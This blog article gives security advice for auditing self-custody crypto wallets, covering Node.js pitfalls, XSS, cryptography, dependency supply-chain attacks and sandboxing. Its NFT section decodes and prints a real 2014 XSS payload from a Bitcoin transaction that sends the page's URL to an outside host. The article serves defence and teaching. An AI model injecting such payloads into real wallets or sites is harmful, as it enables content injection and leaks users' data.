The recent NFT buzz has inspired more crypto-currency companies to venture into self-custody wallets. Although many early crypto proponents remain wary of “owning JPEGs”, NFTs have converted many crypto skeptics and present a new use case for smart contract platforms. This is the perfect time for engineers who have developed and audited self-custody wallets for years to share their hard-won wisdom with the next generation of wallet-makers. This article is not an exhaustive methodology for wallet auditing but highlights a few areas of concern.

Custodial vs Self Custody Wallets

Custodial wallets are—by far—the simplest for crypto companies to secure. If your user interface merely instructs the company backend servers to perform a simple set of account instructions on behalf of the user, the frontend becomes a classical web application, with well-trodden security concerns enumerated by open source organizations like OWASP. Additionally, the invasiveness of custodial crypto platforms makes security simpler. Selfies, photo ID uploads, and other collected PII can be periodically challenged and reaffirmed not only to address fraud but also to foil account takeover attempts. Custodians often block account access from privacy networks like Tor and VPN services. They heavily fingerprint user devices. Most encourage address reuse via address whitelisting; whitelisting raises red flags when unauthorized transfers are attempted while conveniently simplifying blockchain analytics for compliance. Provided custodial backends adequately secure crypto-currency private keys, access to funds can be controlled via traditional web application authentication and authorization methods.

If custodial applications are traditional, self-custody remains ​​eldritch. The frontend becomes the home of cryptographic operations. User devices generate and store private keys and metadata. Before crypto-currency, it was somewhat rare to put this much trust into fundamentally untrustworthy consumer devices. Once a self-custody wallet has been created on a user device, backup and authentication become two major hurdles. The more we try to backup funds and metadata on behalf of users, the more we jeopardize the self-custody nature of the relationship and the user’s privacy. Likewise, future authentication must be linked to the information we can gather about a user during wallet generation. For most wallets, the custom is to gather scant details about the user’s identity, in contrast to KYC-frenzied custodial wallets. 

As self-custody wallets prove the most difficult to secure, the remainder of this article will emphasize those pain points. If you’re more interested in auditing custodial wallets, I recommend the Crypto-Currency Security Standard (CCSS).

Open Source?

Part way through writing this blog post, millions of dollars worth of Solana were stolen from users. Initial reports suggest the attack impacted users of Slope wallet. Many security researchers including myself curious about the attack were disappointed to find this wallet and other popular Solana-supporting wallets are currently closed-source. 

The debate over whether open source or closed source better secures users is largely dead. Sharing source code with attackers can speed up vulnerability research for attackers, but also facilitates the million eyes of whitehat researchers. Most importantly, it holds developers accountable to implement best practices proactively by allowing everyone to look over their shoulders.

Wallets represent a highly competitive and copy-able space, but frontend code is already sent to user devices, and typical minification/packing efforts are merely time-consuming but not impossible to reverse. Surely by now, we can admit the extremely adversarial crypto-currency market should prioritize user safety over dubious competitive advantages.

Node.js Wallet Security

Self-custody wallets live in one of a few common technology stacks:

  • iOS applications
  • Android applications 
  • Chrome browser extensions
  • Web applications
  • Windows applications
  • MacOS applications
  • Linux applications

Developers often write their self-custody wallets in JavaScript. Web browser software is the most ubiquitous and cross-platform mechanism to run code on user devices around the world, and JavaScript is the most popular scripting language to get it done. Even when writing platform-specific wallets such as mobile or desktop wallets, developers can save a ton of time writing cross-platform JavaScript instead of duplicating effort across native applications. You’ll find JavaScript in cross-platform mobile wallets, browser extensions, 

Node.js reigns as the most popular JavaScript platform and can be used in wallets with a traditional web client-server architecture as well as peer-to-peer wallets. Given the popularity of Node.js in building wallet software, it’s worth spending some time focusing on Node.js-specific security pitfalls. 

OWASP provides a cheatsheet for Node.js security issues: https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html

In particular, I would draw wallet developers’ attention to these pitfalls:

  1. Input Validation and output escaping: Failure to validate input can lead to malicious content injected into client-side JavaScript, database engines, server-side commands, and more. While many JavaScript frameworks provide built-in resistance to certain kinds of injection (See below: Cross-Site Scripting), developers should program defensively and validate input aggressively. (This practice has the side benefit of helping to identify the kind of common bugs appearing so often in JavaScript due to loose typing.) Crypto-currency libraries often provide relevant format-checking functions, and more general checks can often be facilitated by the popular validator package. On the other end of the pipe, content reflected to the user in a wallet should be properly encoded. This practice often renders maliciously injected content benign. The escape-html package is useful for encoding HTML content, for example.
  2. Brute-forcing: Wallets featuring an interactive login should mitigate brute-force authentication attempts using technologies like CAPTCHAs and/or rate-limiting.
  3. CSRF: CSRF Tokens should be used to prevent unwanted operations sent to the server from execution on behalf of the user. Consider the csurf package.
  4. Remove unnecessary routes: Disable unneeded or unused API routes.
  5. HTTP Parameter Pollution: Popular packages like express can handle repeat HTTP parameters in unexpected ways; handle them safely.
  6. Keeping packages up-to-date: `npm audit` can be useful for finding vulnerable dependencies. For other open source tools in this vein, I also recommend Snyk.io, GitHub’s Depend-a-bot feature, and OWASP dependency check. 
  7. Avoid dangerous functions: Some of the obvious ones include eval(), command execution functions, and file system manipulation functions. 
  8. ReDos: Denial of service vulnerabilities can happen in any language supporting regular expressions, but for whatever reason, they seem to crop up inordinately often in Node.js applications and can result in frustrating service downtime.
  9. Linters and strict mode: Both means of reducing wildly flexible JavaScript down to a more programmer-friendly subset. This helps both with identifying malicious code and preventing accidental vulnerabilities.

In addition to the Node.js issues highlighted by OWASP, I’d also mention these other issues:

1. Be wary of malicious npm preinstallation scripts, as exemplified by the rimrafall proof-of-concept. For mitigations, see the Modular Sandboxing section below.

2. Actively seek out and remove dependency confusion weaknesses.

3. Scan both your code and your dependencies for security vulnerabilities using a reputable SAST tool. Unfortunately, many of the effective tools in this category are expensive. A mature shop will incorporate code scanners early into the development pipeline rather than leaving them for auditors to raise the alarm and address at greater expense later.

4. When performing sensitive operations, handle errors by failing early. A graceful failure with user-friendly error messages is preferred, but the highest priority is to crash rather than simply logging warnings and continuing execution. This is especially important for cryptographic operations. 

5. JavaScript lends itself wonderfully to underhanded code, which makes finding malicious commits difficult. Commit signing and strict mode are somewhat useful. I would highly recommend reviewing open source underhanded coding attempts to step inside the mind of the attacker, such as these JavaScript Misdirection Competition submissions or the Underhanded Crypto Contest. I discussed some of those techniques and others in my talk at All Things Open in 2016.

Critical Application Components

We should spend the most attention on critical areas of the wallet code base, namely:

  1. Transaction signing: Transactions should only be signed when the user means to send funds, and the semantics of the transaction signed should match user expectations. Furthermore, there are various cryptographic pitfalls during signing that can lead to theft.
  2. Random number generation: If this is flawed, then wallet security is fundamentally flawed. An attacker can recreate a weak random number remotely and non-interactively anywhere in the world to provide backdoor access to funds.
  3. Storing and displaying recovery phrases and derivative private keys: When attackers go after wallets from the client side, this is the obvious treasure to exfiltrate.

NFTs and Content Injection

Although many wallets are launching NFTs with support only for whitelisted collections they consider safe and reputable, it’s only a matter of time before maliciously crafted NFTs are included in wallets to inject content. Here is one such proof-of-concept NFT created on Solana in March of 2022:

https://solscan.io/token/Bcmpp8xNfwz98wfAEpYsMqJvWG7TDjtidHAyvC4nkfNq#metadata

Note attackers have included XSS payloads in crypto transactions at least as early as 2014:

https://www.blockchain.com/btc/tx/a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24

>>> bytearray.fromhex(“203c73637269707420747970653d27746578742f6a617661736372697074273e646f63756d656e742e777269746528273c696d67207372633d5c27687474703a2f2f7777772e74726f6c6c626f742e6f72672f7873732d626c6f636b636861696e2d6465746563746f722e7068703f62633d62746326687265663d27202b206c6f636174696f6e2e68726566202b20275c273e27293b3c2f7363726970743e20”).decode()

” <script type=’text/javascript’>document.write(‘<img src=\\’http://www.trollbot.org/xss-blockchain-detector.php?bc=btc&href=’ + location.href + ‘\\’>’);</script> “

Maturity Phases

Early in their lifecycle, self-custody wallets should focus on nailing the security basics. They need to achieve a reasonably secure baseline (See: Supply Chain), use known-strong cryptographic functions, and debug the basic functionality of the wallet. Often during this phase wallets come up with “novel” or “clever” features revealing themselves to be major security holes, such as Coin.space “backing up” the wallet recovery phrase by sending it plaintext via SMS and Airbitz doing the same via email. Heavy auditing emphasis should go into the key cryptographic functions, such as random number generation, transaction signing, and verification. Wallet developers should probably spend a lot of time using the popular wallets out there and think hard about why their wallets diverge from the norm. A reputable third-party security firm should ideally audit the wallet before public launch, funding permitting.

After this initial period of experimentation and stabilization, security efforts tend to focus on reviewing new features and incremental changes. During this phase, the core components of the wallet don’t get altered very often. This is also a good time for the wallet developers to investigate some of the more advanced security precautions wallets can take, such as those discussed in the “Dependency Supply Chain” and sandboxing sections of this article. At this stage, the company should have a bug bounty system in place with reasonable rewards to encourage researchers to help secure the application. 

Cross-Site Scripting

All web developers should be intimately familiar with the OWASP Top 10 list of common web app vulnerabilities. As the OWASP list is geared toward traditional or “average” web applications, crypto wallet makers should be aware of some of the critical ways their applications are different, and thus the prioritization of these vulnerabilities as they apply to their products. In particular, content injection poses a critical risk to self-custody wallets. In the best case, the attacker can inject mere text to socially engineer users to send away their money. In the worst case, the attacker appends to or replaces the JavaScript controlling users’ private keys. 

Some examples of XSS in Bitcoin websites:

While some frameworks like ReactJS have a positive reputation for preventing Cross-Site Scripting (XSS) out of the box, we should take note of several shortcomings of JavaScript frameworks in general. First, some frameworks like AngularJS have a history of attempting to and failing to prevent XSS, and so we should assume that bypasses may yet appear in our framework of choice. Second, should you ever choose to change frameworks in the future, you might be starting with a “soft” code base that doesn’t stand up to these attacks on its own, and the new framework may not mitigate them in the same fashion. Third, many frameworks provide caveats on what you should and shouldn’t do with the framework (like accessing the DOM directly with AngularJS applications), so RTFM. Last, many of these frameworks provide foot-gun functions like Angular’s bypassSecurityTrustHtml() that allow developers to bypass the protections. Be wary when pressing these triggers.

While developers should eliminate content injection through input validation and proper encoding, the defense-in-depth philosophy dictates that we also implement fallback security controls such as Content Security Policy. Years ago, Internet Explorer held the web back from broad CSP adoption, but Microsoft Edge implementation has us back on track. CSP Evaluator and similar tools will cross your t’s and dot your i’s before updating your production headers.

Known-strong Cryptography

Often we can lean on venerable crypto-currency libraries like BitcoinJS that have already made and fixed many of the early mistakes. We should avoid reinventing such wheels, or at least not without compelling reasons and a large amount of testing. 

When possible, you should leave the cryptography to your crypto-currency libraries. However, if special features make this infeasible, you should fall back to venerable cryptographic libraries like LibSodium. Rolling your own cryptographic code should be a measure of last resort. Review lists of cryptographic best practices. Small typos and mathematical errors can be devastating to cryptographic security. Consider, for example, the prevalence of ECDSA reused-nonce weaknesses in early Bitcoin wallets. Some businesses make money solely by identifying cryptographic weaknesses in wallets. Some are thieves, and some are recovery services. When in doubt, hire an engineer specializing in practical cryptography.

We should unit test our sensitive cryptographic code. Consider these tests for the random number generation module of Blockchain.com’s web wallet. Notice that they check simple conditions and functionality, like:

  • Proper xor function
  • Predictable success and failure conditions for fetching server entropy
  • Entropy sanity checks such as zero values or repeated bytes  

Isolation of functionality 

Wallets must be well architected to separate concerns into different logical partitions. As much as possible, security-sensitive aspects of the application must be isolated—by directory, when possible—from non-sensitive components to make it transparent how much risk a commit poses. Wallet providers should establish a common practice of passing sensitive changes through additional toll gates in the form of peer reviews and code scans.

Consider the Blockchain.com self-custody web wallet code base, which has matured over roughly a decade. Content is broken down into logical, directory-separated sections.

The packages/blockchain-wallet-v4-frontend/ directory contains the React/Redux frontend-application logic that is displayed to the wallet user. 

The packages/blockchain-wallet-v4/ directory contains all of the code related to manipulating the user’s wallet, with subdirectories for coin selection, transaction signing, random number generation, etc.

We can tell with a glance at git that while frontend changes occur frequently, sensitive modules like the random number generator haven’t changed in nearly a year.

Browser Thin Clients

Although it is not yet common, wallet providers can steer clear of technical debt by making their transaction signing architecture flexible. The simplest way to write a web wallet is to store private keys and sign transactions within the browser. However, the browser is the single most adversarial environment for these operations to take place in. Malware lurks on many desktop machines, waiting to steal private keys or even in the case of blind-signing hardware wallet interfaces modify transactions on the fly. Phishing sites likewise will readily steal user credentials and recovery seeds because users who send funds only from the browser are constantly being familiarized with the interface that phishing sites can most easily copy. Malicious browser extensions can easily trick users into providing broad access to website data in the background. These attack patterns have conspired to steal user funds at an alarming rate since Bitcoin’s inception. I believe in the future, web “wallets” will be thin clients that craft transactions in the browser to be signed on more secure user devices. Those might be hardware wallets such as the Ledger or Trezor, but more likely they will be mobile applications storing private keys on the secure enclaves increasingly common on user phone devices. The secure devices will make it difficult to exfiltrate private keys and will help the user notice malware’s malicious modifications to transactions before signing. For an example of an early pioneer of this model using a desktop and companion Android application, see Chris Pacia’s Bitcoin Authenticator.

Dependency Supply Chain

The 2018 attack on Copay users highlighted the risk of malicious modifications to dependencies. An attacker weaseled his way into the maintainer role for an obscure Node.js library utilized by Copay. It’s possible that the attacker first socially engineered his way into the position and later decided to target Copay, but as Copay’s software is open source it would have been trivial to first choose Copay as a target and then work to obtain maintainer rights over one or more of its dependencies. The pseudonym that obtained maintainer access did not have a substantial history, but a more determined attacker could have easily first established a respectable reputation replete with impressive GitHub stats and stars. Above a certain balance threshold, the malicious version of the library exfiltrated the private keys of impacted Copay wallet users. 

Mitigating this attack isn’t easy. Hypothetically, we could write all our own code and forgo open source dependencies altogether, but in practice, we’re hogtying our accomplishments. Back in 2019, npm estimated that 97% of web application code came from dependencies

Suppose you tasked your engineers to review all of your source code—including dependencies —to establish a “secure” baseline of the application. This would likely be limited in usefulness—due to the difficulty of spotting underhanded code—and impractical—due to the size of typical Node.js dependency trees. In practice, most organizations will perform a certain degree of dependency review to establish this baseline but will lean heavily on the use of popular libraries. We hope that popular libraries have many eyeballs looking for malicious changes and that if we lag behind the latest release for a bit, someone will discover the malicious change before we pull it in. We shouldn’t rely on this to work 100% of the time, considering the number of popular software packages maintained by a singular person occasionally embarking on offline backpacking trips.

Even with this baseline, you now have to address updates to those dependencies. On one end, you could eschew all dependency updates to maintain your baseline, but in doing so will miss bug fixes and even security patches for known vulnerabilities. On the other end, you can pull in all dependency updates automatically, but your engineers are constantly spinning their wheels looking for the Copay-style needle in the haystack. The only workable compromise is to use version locking for your more sensitive dependencies—such as those involved in random number generation and cryptographic signing and verification—and then allow less sensitive dependencies to be updated while reviewing them to ensure that they do not surreptitiously access the sensitive areas of your code. Reviewing updates in this fashion is easier than trying to identify arbitrarily surreptitious code that could lie anywhere in your code base.

Keep in mind that source code has a lifecycle. Modern web application code goes through a series of transformations—such as minification—before reaching the user’s browser. Any of these steps can induce malicious modifications. When possible, your build system should build the source itself rather than relying on pre-built code from the upstream dependency developer, which can catch source/compiled mismatches as exemplified in the Copay hack. Still, attackers can take advantage of quirks in legitimate compilers to insert surreptitious code the effects of which are only realized during compile time. Yan Bcrypt invented a great proof-of-concept of this attack. Opportunities for malicious code are practically endless, so we need additional sandboxing mechanisms to catch the attacks that get missed. 

Sometimes attackers take advantage of the weaknesses in developers’ code review UI or developer expectations about what kinds of source changes are worthy of review. Snyk came up with a great example in a blog post, sneaking (ahem) stuff into a modified yarn.lock file. When reviewing for malicious code, we must be thorough.

Are wallet developers learning the lesson about securing dependencies? Progress seems slow. Not long after the semi-successful Copay attack, npm’s electron-native-notify package was compromised to steal crypto funds, although it was successfully stuffed before funds were lost. npm may have detected the threat with automated tools.

iFrame Sandboxing

If you’re loading javascript from third-party domains alongside your web wallet, you must load that third-party content in a sandboxed iframe. This will prevent third-party content from reaching out and touching wallet data, like private keys. Dropbox was an early adopter of this approach back in 2015.

The same idea can be utilized to segregate components of your client-side application. You can load components in isolated iframe sandboxes and allow them only to communicate via your pre-defined API via postMessage rather than calling each other directly in a shared memory context. Suppose the component of your application responsible for looking up the current Bitcoin price was compromised. Proper privilege isolation could prevent contagion, blocking access from the affected component to those responsible for transaction signing or displaying the user’s recovery seed by making them uncallable from the price component.

David Gilbertson covered sandboxed iframes, cross-iframe communication, and related mitigations to dependency compromise in this sequel to his infamous “I’m harvesting credit card numbers and passwords from your site” post.

Modular Sandboxing

One of the root causes of the Copay hack was the degree of ambient authority that Node.js applications bestow on their dependencies by default. There is an ECMAScript specification proposal that could address this problem in the future, but in the meantime, we have other tools worthy of consideration. 

SES provides a shim that locks down an application’s execution environment and limits dependency access through various forms of compartmentalization. While there can be performance trade-offs, this is a powerful control for limiting the abilities of malicious code.

LavaMoat takes this a step further, leveraging SES compartmentalization and locking dependencies down further. One component of LavaMoat focuses on locking down preinstallation scripts. Another focuses on limiting dependency access at runtime. Through static analysis, it builds a tree of JavaScript resources accessed by dependencies. This is both useful for auditing purposes, and the baseline enforced by a runtime LavaMoat kernel. Compared to the maturity of SES alone, LavaMoat is more experimental, but it has been adopted by the major crypto wallet vendor, Metamask.

Checking Translations

Companies often localize the copy of their wallets into many different languages to support users from around the world. They should take care to ensure that the translations are honest and do not contain malicious content. Keep in mind that many translation services will tend to outsource work to the lowest bidders, who may take advantage of the social engineering opportunity. A quick check with Google Translate serves as a reasonable sanity check.

Integrating New Coins

Many modern crypto wallets are multi-currency. When adding a new currency to a wallet, it is typically impractical to write your own implementation of that currency from scratch. Instead, developers will typically lean on libraries and SDKs produced by other teams. There are two key state changes in blockchains that all wallets must consider for a given coin: The semantics of balance and transferring control of tokens. Often this is as simple as getBalance and signMessage functionality built into an SDK or RPC interface, but many coins have quirks. For example, while any Bitcoin transaction included in the longest chain is considered authoritative, Ethereum transactions can be included in blocks while failing execution for a variety of reasons such as insufficient gas. Another example: In many currencies, the “amount” field of a transaction indicates how much of that coin is being sent, but XRP has both an “Amount” field and a “delivered_amount” field for special “partial payments”. 

Infrastructure

Securing your code is of little use if someone manages to compromise your domains or—as may be the case for the BadgerDAO hack in 2021—your CDN provider. They are all critical to serving safe code to users. Once compromised, it can take hours or days to return to normalcy, as the recovery process can be much more involved than pushing a software update to production. Social engineering attacks against your third-party providers and poorly secured API keys can be exploited against your users as easily as a careless programmer on your team. 

Links

  1. https://cryptoconsortium.notion.site/CryptoCurrency-Security-Standard-e372d9cad52f4615aa3ad0c47c24ea21
  2. https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html
  3. https://github.com/joaojeronimo/rimrafall
  4. https://blog.includesecurity.com/2021/02/dependency-confusion-when-are-your-npm-packages-vulnerable/
  5. https://javahacker.com/the-first-javascript-misdirection-contest/
  6. https://underhandedcrypto.com/
  7. https://github.com/kristovatlas/underhanded-js-crypto
  8. https://solscan.io/token/Bcmpp8xNfwz98wfAEpYsMqJvWG7TDjtidHAyvC4nkfNq#metadata
  9. https://www.blockchain.com/btc/tx/a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24
  10. https://github.com/bitcoin-dot-org/Bitcoin.org/pull/963#issuecomment-125326893
  11. https://github.com/bitcoin-dot-org/bitcoin.org/pull/652#issuecomment-66660766
  12. https://owasp.org/Top10/
  13. https://hackerone.com/reports/179426
  14. https://web.archive.org/web/20181208162407/https://www.pluginvulnerabilities.com/2018/10/02/reflected-cross-site-scripting-xss-vulnerability-in-bitcoin-faucet/
  15. https://security.snyk.io/vuln/SNYK-JS-ANGULAR-572020
  16. https://dev-academy.com/preventing-xss-in-angular/
  17. https://content-security-policy.com/
  18. https://csp-evaluator.withgoogle.com/
  19. https://github.com/bitcoinjs/bitcoinjs-lib
  20. https://doc.libsodium.org/
  21. https://gist.github.com/atoponce/07d8d4c833873be2f68c34f9afc5a78a
  22. https://strm.sh/studies/bitcoin-nonce-reuse-attack/
  23. https://www.unciphered.com/services
  24. https://github.com/blockchain/blockchain-wallet-v4-frontend/blob/0a56fc5e915e6dbdec3bd61bd941fe04558fb54e/packages/blockchain-wallet-v4/src/walletCrypto/rng.spec.js
  25. https://github.com/blockchain/blockchain-wallet-v4-frontend
  26. https://github.com/blockchain/blockchain-wallet-v4-frontend/tree/development/packages/blockchain-wallet-v4/src/coinSelection
  27. https://github.com/blockchain/blockchain-wallet-v4-frontend/tree/development/packages/blockchain-wallet-v4/src/signer
  28. https://github.com/blockchain/blockchain-wallet-v4-frontend/blob/development/packages/blockchain-wallet-v4/src/walletCrypto/rng.js
  29. https://github.com/BitcoinAuthenticator/Wallet
  30. https://medium.com/hackernoon/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5
  31. https://medium.com/npm-inc/this-year-in-javascript-2018-in-review-and-npms-predictions-for-2019-3a3d7e5298ef
  32. https://blog.azuki.vip/backdooring-js/
  33. https://snyk.io/blog/why-npm-lockfiles-can-be-a-security-blindspot-for-injecting-malicious-modules/
  34. https://blog.npmjs.org/post/185397814280/plot-to-steal-cryptocurrency-foiled-by-the-npm 
  35. https://dropbox.tech/security/csp-third-party-integrations-and-privilege-separation
  36. https://web.dev/sandboxed-iframes/
  37. https://web.archive.org/web/20180128120819/https://hackernoon.com/part-2-how-to-stop-me-harvesting-credit-card-numbers-and-passwords-from-your-site-844f739659b9
  38. https://medium.com/agoric/pola-would-have-prevented-the-event-stream-incident-45653ecbda99
  39. https://github.com/tc39/proposal-shadowrealm
  40. https://github.com/endojs/endo/tree/master/packages/ses 
  41. https://github.com/LavaMoat/LavaMoat
  42. https://xrpl.org/partial-payments.html#partial-payments-exploit
  43. https://rekt.news/badger-rekt/ 

2 thoughts on “Auditing Crypto Wallets

Leave a Reply

Your email address will not be published. Required fields are marked *